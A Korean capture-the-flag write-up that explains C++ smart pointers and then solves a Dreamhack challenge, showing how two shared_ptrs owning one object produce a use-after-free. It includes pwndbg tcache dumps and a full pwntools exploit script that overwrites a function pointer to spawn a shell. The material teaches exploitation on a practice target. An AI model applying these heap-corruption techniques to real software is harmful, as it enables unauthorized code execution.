개념정리
○ smart pointer
스마트 포인터(Smart Pointer)는 메모리 누수(Memory Leak)를 방지하기 위해 사용되는 C++의 기능 중 하나다. 동적 할당된 메모리를 가리키는 포인터가 더 이상 필요하지 않을 때, 해당 메모리를 자동으로 해제하는 포인터를 말한다.
스마트 포인터는 일반적으로 std::shared_ptr, std::unique_ptr, std::weak_ptr 등의 클래스로 구현된다. 이러한 스마트 포인터들은 더 이상 사용되지 않는 동적 할당된 메모리를 추적하고, 해당 메모리를 자동으로 해제하여 메모리 누수를 방지한다.
○ smart pointer Type
std::shared_ptr
은 여러 포인터가 하나의 메모리를 가리킬 때 사용되며, 참조 카운트(Reference Count)를 유지한다. 참조 카운트가 0이 되면 자동으로 메모리를 해제한다.- 여러 포인터가 동일한 객체를 공유할 수 있도록 하며, 참조 횟수를 추적하여 마지막 참조가 사라질 때 자동으로 객체를 삭제한다.
- 참조 카운트에 대한 연산을 제공하여 스레드 안전성을 보장한다.
- std::make_shared 함수를 사용해서 객체를 생성하는 것이 좋다.
std::unique_ptr
은 1개의 포인터만이 해당 메모리를 가리키도록 제한하는 포인터다.- 객체에 대한 단일 소유권을 가진다.
- 즉, 한 번에 1개의 포인터만 객체를 소유할 수 있다.
- 포인터가 소멸될 때 자동으로 객체를 삭제한다.
- 이동 생성자 및 이동 대입 연산자를 지원하고 이동 시에 소유권을 이전할 수 있다.
- std::make_unique 함수를 사용하여 객체를 생성하는 것이 좋다.
- 객체에 대한 단일 소유권을 가진다.
std::weak_ptr
은 std::shared_ptr 기준으로 참조 카운트를 유지하지 않고 메모리 해제를 하지 않는 포인터다.- 객체를 소유하지 않고 참조만 할 수 있다.
- std::shared_ptr과 함께 사용되어 객체의 수명 주기를 추적하고 객체를 삭제할 수 있는 권한을 가지지 않는다.
- std::shared_ptr로부터 생성된다. 객체를 참조하고자 할 때 std::shared_ptr로 변환하여 사용한다.
스마트 포인터를 사용하면 개발자가 메모리를 직접 해제하는 것이 아닌, 자동으로 객체의 수명 주기와 관련된 문제를 간단하고 안전하게 처리할 수 있다. 이로 인해 코드의 가독성과 유지 보수성이 향상되고, 메모리 누수로 인한 예기치 않은 동작이나 프로그램 충돌 등을 방지할 수 있다.
하지만 스마트 포인터도 잘못 사용하면 취약점이 발생할 수 있다. 따라서 스마트 포인터를 사용할 때 주의할 점은 같은 메모리를 서로 다른 2개의 스마트 포인터가 가리키게 해서는 안 된다는 것이다.
#include <memory>
int main() {
int* i = new int;
std::shared_ptr<int> p1(i);
std::shared_ptr<int> p2(i);
}
예제 코드를 보자.
p1과 p2는 서로 다른 스마트 포인터이기 때문에 새로 생성된 객체 i에 대해 각각 다른 참조 카운트를 가지고 있다. 따라서 main이 종료될 때 p1과 p2가 사라지게 되고, 관리하는 객체 i를 포인터마다 해제하기 때문에 Double Free 버그가 발생한다.
이 뿐만 아니라 2개의 스마트 포인터가 같은 메모리를 가리키기 때문에 1개를 free하고 나머지 1개로 메모리에 접근한다면 UAF도 발생할 수 있다.
문제풀이
void getshell(){
std::cout << "Hi im shell!" << std::endl;
std::cout << "what? shell?" << std::endl;
system("/bin/sh");
}
class Smart{
public:
Smart(){
fp = apple;
}
Smart(const Smart&){
}
void change_function(int select){
if(select == 1){
fp = apple;
} else if(select == 2){
fp = banana;
} else if(select == 3){
fp = mango;
} else {
fp = apple;
}
}
void (*fp)(void);
};
smart 클래스를 보면 정의된 변수 *fp가 포인터다. smart 구조체는 변수가 fp 포인터 1개이므로 8바이트 크기다.
만약, *fp를 getshell 주소로 덮었다고 가정하면, smart 클래스의 fp()
를 실행했을 때 getshell()
이 실행될 것이다.
즉, *fp를 덮어쓰는 것이 목적이다.
Smart *smart = new Smart();
std::shared_ptr<Smart> src_ptr(smart);
std::shared_ptr<Smart> new_ptr(smart);
인스턴스를 생성하고 shared_ptr 포인터를 생성한다.
스마트 포인터를 사용할 때 주의할 점은, 같은 메모리를 서로 다른 2개의 스마트 포인터가 가리키게 해서는 안 된다는 것이다.
하지만 지금은 2개의 스마트 포인터가 같은 메모리를 가리키기 때문에 UAF나 DFB 취약점이 발생할 수 있다.
case 2:
std::cout << "Select pointer(1, 2): ";
std::cin >> selector;
if(selector == 1){
src_ptr.reset();
} else if(selector == 2){
new_ptr.reset();
}
break;
case 2
를 보면 2개의 스마트 포인터 중 1개를 선택해서 해제할 수 있는 기능을 제공한다.
만약, src_ptr을 reset하면 메모리 공간이 free된다. 하지만 new_ptr은 free하지 않았기 때문에 free된 메모리 공간에 접근할 수 있다.
즉, UAF 취약점이 발생한다.
다음은 GDB로 src_ptr을 free한 후 new_ptr에 apple을 저장했을 때, tcache와 ptr 주소가 어떻게 할당되는지 관찰한 결과다.
───────────────────────────[ STACK ]───────────────────────────
00:0000│ rsp 0x7fffffffddb0 ◂— 0x500000000
01:0008│ 0x7fffffffddb8 —▸ 0x616eb0 —▸ 0x4015b4 (apple()) ◂— push rbp
02:0010│ 0x7fffffffddc0 ◂— 0x0
03:0018│ 0x7fffffffddc8 ◂— 0x0
04:0020│ 0x7fffffffddd0 —▸ 0x616eb0 —▸ 0x4015b4 (apple()) ◂— push rbp
05:0028│ 0x7fffffffddd8 —▸ 0x616ef0 —▸ 0x402300 —▸ 0x401fe0 ◂— push rbp
06:0030│ 0x7fffffffdde0 —▸ 0x616eb0 —▸ 0x4015b4 (apple()) ◂— push rbp
07:0038│ 0x7fffffffdde8 —▸ 0x616ef0 —▸ 0x402300 —▸ 0x401fe0 ◂— push rbp
─────────────────────────[ BACKTRACE ]─────────────────────────
► f 0 0x4018e6 main+477
f 1 0x7ffff7a4618a __libc_start_call_main+122
f 2 0x7ffff7a46245 __libc_start_main+133
f 3 0x401169 _start+41
───────────────────────────────────────────────────────────────
pwndbg> tcachebins
tcachebins
0x20 [ 2]: 0x616ed0 —▸ 0x616eb0 —▸ 0x4013a2 (initialize()+35) ◂— ...
tcache를 보면 src_ptr을 free함으로써 0x616eb0가 tcache에 할당됐다.
free된 src_ptr(0x616eb0)
이 tcache에 할당된 것이 확인됐지만, stack을 보면 똑같은 주소(0x616eb0)에 apple이 할당된 것을 알 수 있다. 이렇게 된 이유는 new_ptr이 src_ptr과 똑같은 메모리를 가리키는 상황에서 new_ptr에 apple을 할당했기 때문이다.
즉, src_ptr이 free 됐지만 같은 메모리 공간을 가리키는 new_ptr을 이용해서 free된 메모리 공간에 apple 주소를 쓰면서 UAF를 트리거했다.
여기서 중요한 점은 0x616eb0라는 주소가 스마트 포인터가 가리키는 *fp라는 점이다.
다음으로 우리가 해야 되는 것은 getshell 주소를 *fp에 덮어쓰는 것이다.
pwndbg> tcachebins
tcachebins
0x20 [ 2]: 0x616ed0 —▸ 0x616eb0 —▸ 0x4013a2 (initialize()+35) ◂— ...
pwndbg> p getshell
$2 = {<text variable, no debug info>} 0x40161d <getshell()>
tcache의 상태를 토대로 다음 2번의 8바이트 크기 메모리 할당은 0x616ed0 → 0x616eb0 순으로 진행될 것임을 알 수 있다.
# Exploit
p.sendlineafter(': ', '4')
p.sendlineafter(': ', 'a'*8)
p.sendlineafter(': ', '4')
p.sendlineafter(': ', p32(0x40161d))
따라서 임의의 8바이트를 0x616ed0에 할당시키고 다음으로 getshell 주소를 0x616eb0에 할당하는 방식으로 진행했다.
주의할 점은 getshell 주소를 p32로 표현해야 exploit이 정상적으로 수행된다.
이렇게 할당하면 스마트 포인터의 fp인 0x616eb0가 getshell을 가리키게 된다.
(*new_ptr).fp();
마지막으로 fp()
를 실행하면 getshell이 실행될 것이다.
exploit
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 9724)
#p = process('./cpp_smart_pointer_1')
# DFB
p.sendlineafter(': ', '2')
p.sendlineafter(': ', '1')
'''
# Trigger UAF
p.sendlineafter(': ', '1')
p.sendlineafter(': ', '2')
p.sendlineafter(': ', '1')
'''
# Exploit
p.sendlineafter(': ', '4')
p.sendlineafter(': ', 'a'*8)
p.sendlineafter(': ', '4')
p.sendlineafter(': ', p32(0x40161d))
p.sendlineafter(': ', '3')
p.sendlineafter(': ', '2')
p.interactive()
src_ptr을 free하고 tcache에 fp 주소를 저장한다.
tcache에 할당된 순서를 토대로 fp 주소를 할당할 때, getshell 주소를 입력해서 fp에 getshell을 저장한다.
다음으로 (*new_ptr).fp()
를 실행해서 getshell을 실행한다.